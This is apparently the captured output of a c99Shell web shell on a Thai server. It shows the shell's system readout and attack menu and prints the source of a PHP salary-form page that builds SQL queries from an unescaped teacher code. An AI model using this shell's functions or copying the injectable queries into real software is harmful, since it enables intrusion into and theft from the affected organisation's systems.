!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Money_depart/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddMony.php (31.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start();
    
    /**  Define Validate Access  */
    define( '_VALID_ACCESS', 1 );

    /**  Check Session User Login  */
    if (! session_is_registered("valid_user") &&session_is_registered("Priority") ) {
        echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        /**  Configuration  */
        require_once( "../configuration.php" );
        require_once( $_Config_absolute_path . "/includes/framework.php" );
    require_once("../include/Function.php");
    require_once("../include/FunctionDB.php");
    
        /**  Create Database Object  */
        $dbObj = new DBConn;
        
        /**  Config Table for This Page  */
        $myTable = "salary_repot_tb";
        //$myTableFK = "Date_note";

        $sql3 = "Select * From   salary_type_tb   WHERE  Flag='1'    ";
 $result3= mysql_query($sql3) or die(" Error").mysql_error();
  $rs11 = mysql_fetch_array($result3);
$sql = "Select * From  personal_tb  Where Teacher_code='$Teacher_code' ";
$result = mysql_query($sql) or die(" Error").mysql_error();
$rs = mysql_fetch_array($result);
/////////////////////////////////
$sql2 = "Select * From salary_repot_tb  Where  Teacher_code='$Teacher_code'  Order  By   Code   DESC ";
$result2= mysql_query($sql2) or die(" Error").mysql_error();
$rss = mysql_fetch_array($result2);
/////////////////
 $sql4 = "Select * From   history_position_tb   Where  Teacher_code='$Teacher_code' AND  Flag ='Y'   ";
$result4= mysql_query($sql4) or die(" Error").mysql_error();
$rs4 = mysql_fetch_array($result4);


        


        
    } # else
 ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<title>MIS -- Administrator</title>
<script type="text/javascript" src="../js/utilities.js"></script>
<style type="text/css">
<!--
.style1 {
    color: royalblue;
    font-weight: bold;
}
.style2 {color: royalblue}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
    
          <fieldset>
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="2"></td>
      </tr>
    </table>
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="InsertSalary.php">
      <tr>
        <td height="30" align="left" background="../images/background/bg-head-topic.gif" class="PADDING-LEFT-10"><strong><span class="style2"><a href="MonyByYear.php">เมนูข้อมูลประวัติเงินเดือน รายปีงบประมาณ</a><span class="style5"> </span></span><strong>&raquo; </strong><span class="style2"><span class="style5"><a href="PersonalMonyList.php">แก้ไขข้อมูลรายรับและรายจ่าย บุคลากร</a> </span></span><strong>&raquo; </strong><span class="style2"><span class="style5"> เพิ่มประวัติเงินเดือนรายรับและรายจ่าย บุคลากร </span></span></strong></td>
        </tr>
      <tr>
        <td height="385" valign="top">
          <table width="760" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <td height="10"></td>
            </tr>
          </table>
          <table width="760" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <td align="right" style="padding:5px 0px 5px 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
            </tr>
          </table>
          <table width="573" border="0" align="center" cellpadding="2" cellspacing="2" style="border:1px solid #EEEEEE">
            <tr bgcolor="#FFCC99">
              <td height="25" colspan="2" bgcolor="#F8F8F8" align="center" class="PATRON11"><strong><span class="style5">เพิ่มประวัติเงินเดือนรายรับและราย-จ่าย บุคลากร</span></strong></td>
              </tr>
            <tr bgcolor="#FFEFDF">
              <td width="159" height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF" class="PADDING-TOP-10"><font face="Tahoma">เงินเดือน</font></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10 PADDING-TOP-10"><font color="#003366" size="2" face="Tahoma"></font>
                <input name="Salary_1" type="text" id="Salary_1" value="<? echo $rs4[Salary]?>" size="8" /></td>
              </tr>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เงินค่าตอบแทน ตำแหน่ง</font></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma"></font>
                <input name="Salary_2" type="text" id="Salary_2" value="<? echo $rs4[Salary_2]?>" size="8" /></td>
              </tr>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เงินประจำตำแหน่ง</font></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma">
                <input name="Salary_3" type="text" id="Salary_3" value="<? echo $rs4[Salary_3]?>" size="8" /></td>
              </tr>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">รหัส </font></td>
              <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma"><?php echo $rss[Teacher_id] ;?></font></td>
              </tr>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">ชื่อ 
                - นามสกุล</font></td>
              <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"> <strong>
                <?php
                            echo "$rs[First_name]";
                      ?>
                <?php
                            echo "$rs[Teacher_name]";
                      ?>
                <?php
                            echo "$rs[Teacher_lastname]";
                      ?>
                </strong></font></td>
              </tr>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เดือน</font></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <select name="Start_mont" id="Start_mont" class="select" >
                  <? getThaiMonth();?>
                </select>
                </font></td>
              </tr>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เลือกปีงบประมาณ</font></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#0000FF" size="2" face="Tahoma">
                <select name="Start_year" id="Start_year">
                  <?php
                $curr_year = date("Y")+543; 
                $prev_year = $curr_year-2;
                $next_year = $curr_year+3;
                
                for( $i=$prev_year; $i<=$next_year; $i++ ) { 
                ?>
                  <option value="<?=$i;?>" <?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'; ?>>
                    <?=$i;?>
                    </option>
                  <?php
                } # for
            ?>
                </select>
              </font></td>
              </tr>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ตำแหน่งการวิจัย</font></td>
              <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"> <? echo  $rs[R_position]?></font></td>
              </tr>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='1' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_1" type="text" id="Costt_20" value="<? echo $rs[Costt_1]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='2' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_2" type="text" id="Costt_2" value="<? echo $rs[Costt_2]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='3' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_3" type="text" id="Costt_3" value="<? echo $rs[Costt_3]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='4' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_4" type="text" id="Costt_4" value="<? echo $rs[Costt_4]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='5' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td width="398" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_5" type="text" id="Costt_5" value="<? echo $rs[Costt_5]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='6' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_6" type="text" id="Costt_6" value="<? echo $rs[Costt_6]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='7' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_7" type="text" id="Costt_7" value="<? echo $rs[Costt_7]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='8' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_8" type="text" id="Costt_8" value="<? echo $rs[Costt_8]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='9' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_9" type="text" id="Costt_9" value="<? echo $rs[Costt_9]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='10' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_10" type="text" id="Costt_10" value="<? echo $rs[Costt_10]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='11' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_11" type="text" id="Costt_11" value="<? echo $rs[Costt_11]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='12' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_12" type="text" id="Costt_12" value="<? echo $rs[Costt_12]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='13' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_13" type="text" id="Costt_13" value="<? echo $rs[Costt_13]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='14' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_14" type="text" id="Costt_14" value="<? echo $rs[Costt_14]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='15' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_15" type="text" id="Costt_15" value="<? echo $rs[Costt_15]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='16' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_16" type="text" id="Costt_16" value="<? echo $rs[Costt_16]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='17' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_17" type="text" id="Costt_17" value="<? echo $rs[Costt_17]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='18' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_18" type="text" id="Costt_18" value="<? echo $rs[Costt_18]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='19' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_19" type="text" id="Costt_19" value="<? echo $rs[Costt_19]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='20' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_20" type="text" id="Costt_20" value="<? echo $rs[Costt_20]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='21' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_21" type="text" id="Costt_21" value="<? echo $rs[Costt_21]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='22' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_22" type="text" id="Costt_22" value="<? echo $rs[Costt_22]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='23' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_23" type="text" id="Costt_23" value="<? echo $rs[Costt_23]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='24' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_24" type="text" id="Costt_24" value="<? echo $rs[Costt_24]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='25' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
            <tr bgcolor="#FFEFDF">
              <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
              <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                <input name="Costt_25" type="text" id="Costt_25" value="<? echo $rs[Costt_25]?>" size="8" />
                </font></td>
              </tr>
            <?php } #if ?>
            <?php //} # if( $rs['Filetex'] != "" ) { ?>
            <tr bgcolor="#FFEFDF">
              <td height="10" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"></td>
              <td height="10" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"></td>
              </tr>
            <tr bgcolor="#FFEFDF">
              <td height="10" colspan="2" align="center" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span style="padding:5px 0px 5px 0px">
                <input type="submit" name="Submit" value="  บันทึกข้อมูล  " class="button" id="Submit" />
                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                <input type="reset" name="Submit" value=" เคลียร์ข้อมูล" class="button" id="Submit" />
                &nbsp;&nbsp;&nbsp;</span>
                <input type="button" name="close" value="ปิดหน้าต่าง" onclick="window.close()" id="close" />
                <span style="padding:5px 0px 5px 0px">
